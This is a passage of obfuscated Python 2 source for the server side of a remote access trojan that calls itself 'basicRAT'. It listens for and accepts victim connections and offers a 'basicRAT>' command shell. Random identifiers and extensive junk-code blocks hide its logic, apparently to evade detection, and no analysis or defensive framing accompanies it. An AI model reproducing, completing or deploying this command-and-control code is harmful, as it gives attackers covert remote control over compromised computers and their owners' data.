    for txBQPhxzqRqvFASFSJCQDBjqWEoPyJSyCSmCFxfQEnIkJjcByDSjtISCOvXORyF in XBoAwJHIAZqNGsweFIyIjVHAuZQREIzPrEYDhpEIpuzoFIuHxIOxSOJSRwtQGSz.split('\n'):
        URAanhENEeQDzImWlBBozVAOjzIZeFXrnysJwCBrmsxRmrAQMUJvxLJjVTrHFzp = 'zZNwzARRumJhREZIQBwmDDJRzIEuyECwVIHHDBEAQsxqExqJRBCxFusOsEBoFzz'
        RHQGvopGySxFyPQsvEEjhrDfHwjDHwxDBCQGJxZUACxxFVJHJRPCwDIUCvSNrr = 'IORsHPGnCYSiwzRyzqSUDJvHExCoGDPqAyCtmsOSWYCJqQPySRRIBxHSUoHIDuQ'
        yxOOOmHMwCxRIJtnJxCJNSDfDyQCrIklcCBDwJSmrwmSkISZtCRJvJAeuhkRIyw = 'vGlPjGuCtSIBSHqRHQHqywIPMwHCBGUxFxRmOwCOxwJEoOktJECViSnxpBORQBI'
        JhEXSyTmGGBpJAiwQiwzGrCCuTvAGGyHHriOvRMPRGAqDmvhtxxpIytUIIQJEuR = 'TiRPnEBlJHtCyQJBrkyBfFOESJBgRZTxCFAxYxuPBzABgrDFyoDCCjJwDScECMB'
        utswCqnjpQWCRYvuBBEFABwGRnwtATCtlSGQBIurxxqxJGtwIQERRzDRufkJSOI = 'HRuIMGRsoBJksGAgFHIvlDzXNFwHBuBBStWyBESDruRQJExlQLloCMnxywCyJrz'
        RPlOoysSyEHLyzIpkuJNCHHVNojzxECHzroBAAZfQuAvNtjFlEJOASASCOzPFtn = 'sliuQSzRrNHQOmusJJRqttBXnqHFCwugHECSsqFOzPGAJGFGOTHuQIDuAzLCwQS'
        if yxOOOmHMwCxRIJtnJxCJNSDfDyQCrIklcCBDwJSmrwmSkISZtCRJvJAeuhkRIyw == JhEXSyTmGGBpJAiwQiwzGrCCuTvAGGyHHriOvRMPRGAqDmvhtxxpIytUIIQJEuR:
            for RPlOoysSyEHLyzIpkuJNCHHVNojzxECHzroBAAZfQuAvNtjFlEJOASASCOzPFtn in utswCqnjpQWCRYvuBBEFABwGRnwtATCtlSGQBIurxxqxJGtwIQERRzDRufkJSOI:
                if RPlOoysSyEHLyzIpkuJNCHHVNojzxECHzroBAAZfQuAvNtjFlEJOASASCOzPFtn == JhEXSyTmGGBpJAiwQiwzGrCCuTvAGGyHHriOvRMPRGAqDmvhtxxpIytUIIQJEuR:
                    utswCqnjpQWCRYvuBBEFABwGRnwtATCtlSGQBIurxxqxJGtwIQERRzDRufkJSOI = URAanhENEeQDzImWlBBozVAOjzIZeFXrnysJwCBrmsxRmrAQMUJvxLJjVTrHFzp
                else:
                    JhEXSyTmGGBpJAiwQiwzGrCCuTvAGGyHHriOvRMPRGAqDmvhtxxpIytUIIQJEuR = RHQGvopGySxFyPQsvEEjhrDfHwjDHwxDBCQGJxZUACxxFVJHJRPCwDIUCvSNrr
        time.sleep(0.05)
        print txBQPhxzqRqvFASFSJCQDBjqWEoPyJSyCSmCFxfQEnIkJjcByDSjtISCOvXORyF
        WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE = 'YGInplGvDWNChRNvwBRZAIyxHpMjHuDEjquHoJoAPnDvBGEJGQGuGEFwkkxCmR'
        DnZFBwWOpJqGtrrzrYyowGlBdIQIuJSruGFvSrmEvroqWjJEDlDtEPPFoJQHuEA = 'IQRQrBZZNxpPCPAXPLDIDttANSrDIGyzmeuGRJxFhsuyrqzwEeMurCYJKsoeIzq'
        GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA = 'HQqzxzoJIZAxkGyCHnBFOtxCokNJMnQiBzPzNIECMRLnCJSRzPZviuSDuuRIniw'
        SkZIkEGQCkDPQXBGuGzsViSEyIrVIwQNeUvwIjESSIOrMHEFtyRcJQJFJVwWVqL = 'JCyGxJbHOGrzEznPyDQSSHOGuovCBztJUtErJymIqQutImiXFIqRuoOXBmOJDwJ'
        pqwSiHPlEvOmJPOlpCPtyhqgqZMDSlDmRTCISIAwtHlmVDMpvHNySzTsJFHAGBr = 'TytpvEuWqJzLFIqDODqBFWoFHmHRloxuJGSSluiCAYRDxRMIVFJPvyoShHRkzwP'
        ozrPCDuwtwuzSSxQxRSozzRvMVoAPzAySwpzzDDEPPIQwmJRyJPFCAzQICwgISI = 'mEBhGEAPINSrIJHtFmeDOtGysBAuESRwMjIPiyBwyPJoQUGTXxGmEHOzByzHQjJ'
        if WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE != SkZIkEGQCkDPQXBGuGzsViSEyIrVIwQNeUvwIjESSIOrMHEFtyRcJQJFJVwWVqL:
            DnZFBwWOpJqGtrrzrYyowGlBdIQIuJSruGFvSrmEvroqWjJEDlDtEPPFoJQHuEA = GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA
            for ozrPCDuwtwuzSSxQxRSozzRvMVoAPzAySwpzzDDEPPIQwmJRyJPFCAzQICwgISI in SkZIkEGQCkDPQXBGuGzsViSEyIrVIwQNeUvwIjESSIOrMHEFtyRcJQJFJVwWVqL:
                if ozrPCDuwtwuzSSxQxRSozzRvMVoAPzAySwpzzDDEPPIQwmJRyJPFCAzQICwgISI != GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA:
                    DnZFBwWOpJqGtrrzrYyowGlBdIQIuJSruGFvSrmEvroqWjJEDlDtEPPFoJQHuEA = DnZFBwWOpJqGtrrzrYyowGlBdIQIuJSruGFvSrmEvroqWjJEDlDtEPPFoJQHuEA
                else:
                    pqwSiHPlEvOmJPOlpCPtyhqgqZMDSlDmRTCISIAwtHlmVDMpvHNySzTsJFHAGBr = WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE
        else:
            GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA = WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE
            WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE = pqwSiHPlEvOmJPOlpCPtyhqgqZMDSlDmRTCISIAwtHlmVDMpvHNySzTsJFHAGBr
            if GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA == WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE:
                for ozrPCDuwtwuzSSxQxRSozzRvMVoAPzAySwpzzDDEPPIQwmJRyJPFCAzQICwgISI in WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE:
                    if ozrPCDuwtwuzSSxQxRSozzRvMVoAPzAySwpzzDDEPPIQwmJRyJPFCAzQICwgISI == GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA:
                        GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA = WICJffQtyOYPzSxNzpDMFBRHAHEzBJQNZEpFlFjHAPtrSEvxByGqNxARwnvIPHE
                    else:
                        GxzpQyFvBDGzBCOnhOwzDmwJBJlIQBpHoADSIaRxYuAgSUJHwozJsmHSjHIWrRA = pqwSiHPlEvOmJPOlpCPtyhqgqZMDSlDmRTCISIAwtHlmVDMpvHNySzTsJFHAGBr
    print 'basicRAT server listening on lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ {}...'.format(lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ)
    IyQBkHZzzQArtBOPSywnHwuBSJeEvICCIFDvYpHJMEprXJpuBDhwGrPOUQyMyYE.listen(10)
    nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF, ELnPHHvSzHSHugyNPoBHEJPNwmPvHMyxJPkuArVQBGESASpJMkEvEyqqvvsvbRi = IyQBkHZzzQArtBOPSywnHwuBSJeEvICCIFDvYpHJMEprXJpuBDhwGrPOUQyMyYE.accept()
    OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG = vtMRvNIZLQjyJnDNOMACSDDwRCSJsDWOiDOCIESrasNPSuqDRsJHTwoEvItFRqw(nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF, server=True)
    while True:
        nuBGFTrACAjPqDQzFHJCQASuzSwDvySMqAVQpFyGywRZGzDSPRtSzQJxyYJqERx = 'wqHCEONyUQkzARtGpNPvUwQJUvZJBAGIFCwBztmFSvvCIewAquSHIwmuGSPYOd'
        IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt = 'uGHZQHxQhuSAApTRPAMSLyqABiEUGJztyIHJQQOHxQyynwwYJSitmEYNIxJSUDz'
        zstEQHsjwsFmwPXTDrtWSJCFBXyQJuBCtPfCtySYEGJSpCQqLHSYhEyZvFuziJw = 'HsPyEoyzRHFQBrDmIDWAOwERSTPtIWCPwINwkIrAPDHnRtpRHPrhIJsASjMRSum'
        lGsvttsyxxsNHAQvPrDHyBHnxNzAqHJrtwHBImnCNPAqSImsCuQpSrIHCOIIDtv = 'FqJvjCRyjuxBswClGoNceBAHqEzvSJBxzQGuJBIozIVHBJZDSxEgPFQHoOmBrSA'
        JvQiorIQWVGUUgDuVsBpQNjrIxrxRRfqxDzSHNtGtTzoNtVVuihuDAGIPhpCEOR = 'HzIrBCxHDsJGSxFVvEwnQRGRfYzLlDhxtIPWQSgkmDCCJJHSLBFpjjCiukmmGyv'
        if nuBGFTrACAjPqDQzFHJCQASuzSwDvySMqAVQpFyGywRZGzDSPRtSzQJxyYJqERx in IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt:
            nuBGFTrACAjPqDQzFHJCQASuzSwDvySMqAVQpFyGywRZGzDSPRtSzQJxyYJqERx = JvQiorIQWVGUUgDuVsBpQNjrIxrxRRfqxDzSHNtGtTzoNtVVuihuDAGIPhpCEOR
            if IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt in zstEQHsjwsFmwPXTDrtWSJCFBXyQJuBCtPfCtySYEGJSpCQqLHSYhEyZvFuziJw:
                IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt = lGsvttsyxxsNHAQvPrDHyBHnxNzAqHJrtwHBImnCNPAqSImsCuQpSrIHCOIIDtv
        elif IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt in nuBGFTrACAjPqDQzFHJCQASuzSwDvySMqAVQpFyGywRZGzDSPRtSzQJxyYJqERx:
            zstEQHsjwsFmwPXTDrtWSJCFBXyQJuBCtPfCtySYEGJSpCQqLHSYhEyZvFuziJw = IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt
            if zstEQHsjwsFmwPXTDrtWSJCFBXyQJuBCtPfCtySYEGJSpCQqLHSYhEyZvFuziJw in IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt:
                IHAfOgGBQjqnlroIwmAxNmplrIHrYGvCbDBvTrqmzwxqDPMSDPIBUpFSVIuRpxt = JvQiorIQWVGUUgDuVsBpQNjrIxrxRRfqxDzSHNtGtTzoNtVVuihuDAGIPhpCEOR
        kNILJPHGIxQFFZvIQwIJoxkJpJBSOyHSHHDNSMGvuACXQGzouVvDIASGSBEeFBC = raw_input('\n[{}] basicRAT> '.format(ELnPHHvSzHSHugyNPoBHEJPNwmPvHMyxJPkuArVQBGESASpJMkEvEyqqvvsvbRi[0])).rstrip()
        if not kNILJPHGIxQFFZvIQwIJoxkJpJBSOyHSHHDNSMGvuACXQGzouVvDIASGSBEeFBC:
            GzYuyRtnSBBeImPSBSHGCGIRIAEltjFTViHFZlNEREJZIsvqHDEPFnEjBDozyjf = 'tsXJCiEIQnJgWuzumyWsNFtQEzCJAIOlipGiuqwCPzwGAoVBOAUNFHsJABpJkME'
            hJZVPGREJtCNAukIySnItqTOayhSNnpDEXQvPkIAjsQrtNvympSgDwTFNISvDfD = 'mGxQJSvyjxOCPIONxxBQivFHRKEuFoxyVuuFNjSIsDXGwkvuCsuNuHHzEQGwHJS'
            iJSzYtxIQsSQHvPVRsvJNEspluMxvefQWREDuGlutGFNFxtAIsQFAtGQkJruxIE = 'QEBiuEyIEwvODSTRSQpAkQhlHWBJCkwCISOROBBEtDAQJESZIFklrROWFyHqpo'
            GoNIDJGoPrPvfSGvwRkGSRrSzHJIpYlRwQFwFwuyJBuRpBHzvFoJHpWRCuAvRDy = 'ElLwkxGEBVsOCnFnGQgDPyGJGDQUixPIhosEMGpxRBROEnsnkUGuFCJWvIrJzND'
            QdIxHvwwxSwGDSgSjytwcDVFBpRstyQvrBECCHGYFCyoGpPAkAqDLlMRpxQTx = 'RWPwxvfmROPCXsHirtyFEPwHlufiDHDSMaIzPwwwIuzEEhMjFCmOPRvnYuWOeIi'
            AsICHBJsEwEHxiGuYDqmSiPuIBDOwuxBQhmNSGHFOPuCOFPhIGSCnStzDrsYqxI = 'LAskxSEmwNGOveuMwSBuEGAEuSaIBSvyPSuDgJjJCOrjQImQkhALzvTEYSsxBwr'
            if iJSzYtxIQsSQHvPVRsvJNEspluMxvefQWREDuGlutGFNFxtAIsQFAtGQkJruxIE == GoNIDJGoPrPvfSGvwRkGSRrSzHJIpYlRwQFwFwuyJBuRpBHzvFoJHpWRCuAvRDy:
                for AsICHBJsEwEHxiGuYDqmSiPuIBDOwuxBQhmNSGHFOPuCOFPhIGSCnStzDrsYqxI in QdIxHvwwxSwGDSgSjytwcDVFBpRstyQvrBECCHGYFCyoGpPAkAqDLlMRpxQTx:
                    if AsICHBJsEwEHxiGuYDqmSiPuIBDOwuxBQhmNSGHFOPuCOFPhIGSCnStzDrsYqxI == GoNIDJGoPrPvfSGvwRkGSRrSzHJIpYlRwQFwFwuyJBuRpBHzvFoJHpWRCuAvRDy:
                        QdIxHvwwxSwGDSgSjytwcDVFBpRstyQvrBECCHGYFCyoGpPAkAqDLlMRpxQTx = GzYuyRtnSBBeImPSBSHGCGIRIAEltjFTViHFZlNEREJZIsvqHDEPFnEjBDozyjf
                    else:
                        GoNIDJGoPrPvfSGvwRkGSRrSzHJIpYlRwQFwFwuyJBuRpBHzvFoJHpWRCuAvRDy = hJZVPGREJtCNAukIySnItqTOayhSNnpDEXQvPkIAjsQrtNvympSgDwTFNISvDfD
            continue
            EERmHyEBCJqARVGNvXxIsupQoizjzVAIGGQRHVAEWxHIxQIvEOQGKJzQTRMPEqJ = 'HmgqSjEGmyHyGrHSHooDSzrDMVFMSQDPwsfCvHRifysrFAxwMuGACyBDEMFEmQy'
            FOCGSPqAQXCHJsEPzHCuIvDfwZHhNmyHGCnnGjnqQflovHhBHHBvJNRyoHMtjD = 'RPuoDWxJzHYwLkMwFQUzFMXqjuJXtlGPEmyOGvunVMmVlAFoyqTEBCkCrEmhFOG'
            uARCxHXSUmCIvIPHoQzzAKrQwYrJgzfDWhBSWdSzmPHJPlhGFDMIBFrRQxkJFC = 'HJyCVSoGdRAwoerGoImHYwzSGzlIAMrqAvCPCgPMzQzWAwhxEsNEERQBwCFzkSI'
            mFywyQuGWvFJBzFTAyOBRJuZODEBxzzurRtGIGQtuHuHEiFJOgzHMwbHLMvBppO = 'JJCtFHsPxCJtlQrISGtRcAkSSnCJDRQOJwKJHpyoqAJHBvXnpnCnoJWwCnySSwG'
            QQxRRHDzOjosJMwNUNYHRAsJxSsmVtIwIBNISJwDuERSPitvPdDBOlFUOQIJhkq = 'iJVBqCICMmEtCQPBiHToCHZmwvOlruuHztimtipRAOlRRDjmwjOOyMIqESFItqB'
            DPrtzzDjCyhzzBOFIrGRHXXizveJuQHsrGDyJRnUttQBBonzDAAwnGVCgJJHNiz = 'eEISxlwCiStXrOOeGksRSzBrPPTHEwPnpQkiDCJDZIhGYHYCzaoNwRRaRCDUyzH'
            if uARCxHXSUmCIvIPHoQzzAKrQwYrJgzfDWhBSWdSzmPHJPlhGFDMIBFrRQxkJFC == mFywyQuGWvFJBzFTAyOBRJuZODEBxzzurRtGIGQtuHuHEiFJOgzHMwbHLMvBppO:
                for DPrtzzDjCyhzzBOFIrGRHXXizveJuQHsrGDyJRnUttQBBonzDAAwnGVCgJJHNiz in QQxRRHDzOjosJMwNUNYHRAsJxSsmVtIwIBNISJwDuERSPitvPdDBOlFUOQIJhkq:
                    if DPrtzzDjCyhzzBOFIrGRHXXizveJuQHsrGDyJRnUttQBBonzDAAwnGVCgJJHNiz == mFywyQuGWvFJBzFTAyOBRJuZODEBxzzurRtGIGQtuHuHEiFJOgzHMwbHLMvBppO:
                        QQxRRHDzOjosJMwNUNYHRAsJxSsmVtIwIBNISJwDuERSPitvPdDBOlFUOQIJhkq = EERmHyEBCJqARVGNvXxIsupQoizjzVAIGGQRHVAEWxHIxQIvEOQGKJzQTRMPEqJ
                    else:
                        mFywyQuGWvFJBzFTAyOBRJuZODEBxzzurRtGIGQtuHuHEiFJOgzHMwbHLMvBppO = FOCGSPqAQXCHJsEPzHCuIvDfwZHhNmyHGCnnGjnqQflovHhBHHBvJNRyoHMtjD
        qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy, _, action = kNILJPHGIxQFFZvIQwIJoxkJpJBSOyHSHHDNSMGvuACXQGzouVvDIASGSBEeFBC.partition(' ')
        if qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy not in FxItzCuIvSOWSklHsEqhGGimFIstqIGCIGDsujssIVykJoEPHVIfzqNtFGqGlFJ:
            rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ = 'InkQDCIQJSmJmYDtPVJDHXCFwuHPJqUwFwILSSjwkwOUIiJbrIStCkAFtBwCUxb'
            UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL = 'xtyFOzssLwIGEipFpmvyIHnRByyqGIBoSOdCHIKBEUzEsHFHGJFrERwxHyvQQPJ'
            VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv = 'uIEzTuEkOQOwPTuyymNrBDHIXSAIvjZxCIODGCSkJTDMFUuyJRRRvPsBHuIDGyD'
            PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr = 'JJAgILnHEBAGXHPQYsCHjGwGSUvssJRyjJuveuwnSUDEZHpHDErRJJuQHiReODN'
            if UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL == rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ:
                for rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ in UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                    if UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL == UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                        VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv = 'PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr'
                    elif VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv == PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr:
                        PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr = rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ
                    else:
                        rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ = UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL
            elif VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv == VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv:
                for VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv in UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                    if PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr == UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                        VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv = 'PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr'
                    elif VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv == PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr:
                        PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr = rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ
                    else:
                        rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ = UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL
                        for VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv in UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                            if PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr == UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL:
                                VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv = 'PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr'
                            elif VJEASGsrCrjFBxiSRCrytFOGSoJemxlSDnQuNxjJDGowDGHQHmGuNRXsHGRSBxv == PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr:
                                PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr = rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ
                            else:
                                rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ = PHJmCQzBnyUzJpBootCsssFIwHtfrRsDQIDmIESCJICiZDGuHSAUzEzFtRSxtxr
            else:
                rDPIEKSuISFWurERQOYrILGrzvpJSIFeWRxIMFGwwIkzCvsSIUIzFAhFBBpDwEJ = UpPPSxBEPrBQHCtLRoCvIpQLRFtpEwPmcyRzqHuFDHMGQSnmnGpEIOpxtCJwoCL
            print 'Invalid command, type "help" to see eSAvRrqSQSHqepPJpmxSBCHOGzHuwBMFFLuuPtwlSgQsSHDxxKYsCBARxrvfqAJ list of commands.'
            vOYzoAwDmofPBPRwwfojJQyitJsIqQSnSvJStEHHAPSmviEpxOCTWGrAPSAGIJB = 'yAxyHCQQvBRJyxBGDIRSToADyUyJsQOptZOjIGHSBNGgJGHzAyfxEqiFBSHHRJR'
            xzADDMRGxPmztGcEtItPqBmnQsjjviPyOEmPAWPrzFYGDQVHtBoVOJQvyJSJBdI = 'qDURsozqPySIICGUGwwhGvJRHDGGQeQJuIdGvwBFvvEpuOwCIBxnNPHQAmwOwlE'
            AHumjJpMGmySwSAIWRZOxwSKQHGIDSuOGEukDTDFItzuHAFwIkJSqWoJyXMryzS = 'BvpkfNEAFUGzRuxxECUtMTGAohuBFpdpDYlkFBoIRXHDyBvIBOvnGtxtpShtwus'
            QDEQOIoFSDStHQsSHmFCASwGvAwyxIHlnYBGiPfUNStdrDJCHMxOJRlyESInpJS = 'FPtRuCzZsHCNoGnzPYGiHyJsuJkpCRDMzCQEHzrPPCRxFzWHrtMHUvwDrlJvEDw'
            QgGowDvAEGSSHNmDZIpCVoHRYFZkyyJcImQlOHYIEvJjPHpDZSmyiIPIhfiSJIC = 'oyHCjqRvnDztZzGVImkDAOrPruMEQLZWwuNDGuPkLtBhPyMGCMCIyBIHFHrTYH'
            xPCBZEHhRwCOCPprlDFuyxNSyHuzIYDveYvjkIJpziORmSXHQJpyEuDRNXYHuBx = 'xnNwXIRsWrGJvSnwnqAgXrKtGtJtOJgwHQNJzZQSJDItzLHzBNJzOFuCRaHSHDp'
            if AHumjJpMGmySwSAIWRZOxwSKQHGIDSuOGEukDTDFItzuHAFwIkJSqWoJyXMryzS == QDEQOIoFSDStHQsSHmFCASwGvAwyxIHlnYBGiPfUNStdrDJCHMxOJRlyESInpJS:
                for xPCBZEHhRwCOCPprlDFuyxNSyHuzIYDveYvjkIJpziORmSXHQJpyEuDRNXYHuBx in QgGowDvAEGSSHNmDZIpCVoHRYFZkyyJcImQlOHYIEvJjPHpDZSmyiIPIhfiSJIC:
                    if xPCBZEHhRwCOCPprlDFuyxNSyHuzIYDveYvjkIJpziORmSXHQJpyEuDRNXYHuBx == QDEQOIoFSDStHQsSHmFCASwGvAwyxIHlnYBGiPfUNStdrDJCHMxOJRlyESInpJS:
                        QgGowDvAEGSSHNmDZIpCVoHRYFZkyyJcImQlOHYIEvJjPHpDZSmyiIPIhfiSJIC = vOYzoAwDmofPBPRwwfojJQyitJsIqQSnSvJStEHHAPSmviEpxOCTWGrAPSAGIJB
                    else:
                        QDEQOIoFSDStHQsSHmFCASwGvAwyxIHlnYBGiPfUNStdrDJCHMxOJRlyESInpJS = xzADDMRGxPmztGcEtItPqBmnQsjjviPyOEmPAWPrzFYGDQVHtBoVOJQvyJSJBdI
            continue
            FAGFSSWIzvCPwviAyufqUzIvBSGJywRIlIShElxVEzBDQnfUGyYzuPWqrzYDxzB = 'CyzqomHEmjDZnEJHMgHFQOOqDAPGjRqowEAPnOremCzjADnFEskBvnzsFYRuFGx'
            AJJoIISWSvTSCHyHPukuIDtyIFHprCyzZXFWCQdjANODNAuSCuIXmRtyAxHzSwt = 'orNPxGEDAplDihIoUFzNHWNPDsCpMBBFEBpJNFtxTJBQvpGpdhEzoSIuODAxIx'
            if FAGFSSWIzvCPwviAyufqUzIvBSGJywRIlIShElxVEzBDQnfUGyYzuPWqrzYDxzB != AJJoIISWSvTSCHyHPukuIDtyIFHprCyzZXFWCQdjANODNAuSCuIXmRtyAxHzSwt:
                FAGFSSWIzvCPwviAyufqUzIvBSGJywRIlIShElxVEzBDQnfUGyYzuPWqrzYDxzB = 'orNPxGEDAplDihIoUFzNHWNPDsCpMBBFEBpJNFtxTJBQvpGpdhEzoSIuODAxIx'
                AJJoIISWSvTSCHyHPukuIDtyIFHprCyzZXFWCQdjANODNAuSCuIXmRtyAxHzSwt = FAGFSSWIzvCPwviAyufqUzIvBSGJywRIlIShElxVEzBDQnfUGyYzuPWqrzYDxzB
                FAGFSSWIzvCPwviAyufqUzIvBSGJywRIlIShElxVEzBDQnfUGyYzuPWqrzYDxzB = 'CyzqomHEmjDZnEJHMgHFQOOqDAPGjRqowEAPnOremCzjADnFEskBvnzsFYRuFGx'
        if qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'help':
            try:
                IHPxGOUJzICInHEtosHxAQOgMhhzJPlGdxANQFvBHyApOIksIHOyRxCopxCyFrI = 'BFEZGMzDBJSQQFTzvHZnpFAqyXRwCiVxAuPulDuYQRSAWZINCQEDGGESZHztsFG'
